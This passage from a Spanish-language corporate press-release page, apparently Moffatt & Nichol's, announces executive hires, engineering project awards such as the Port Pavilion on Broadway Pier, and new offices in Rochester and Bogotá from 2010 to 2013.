Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de 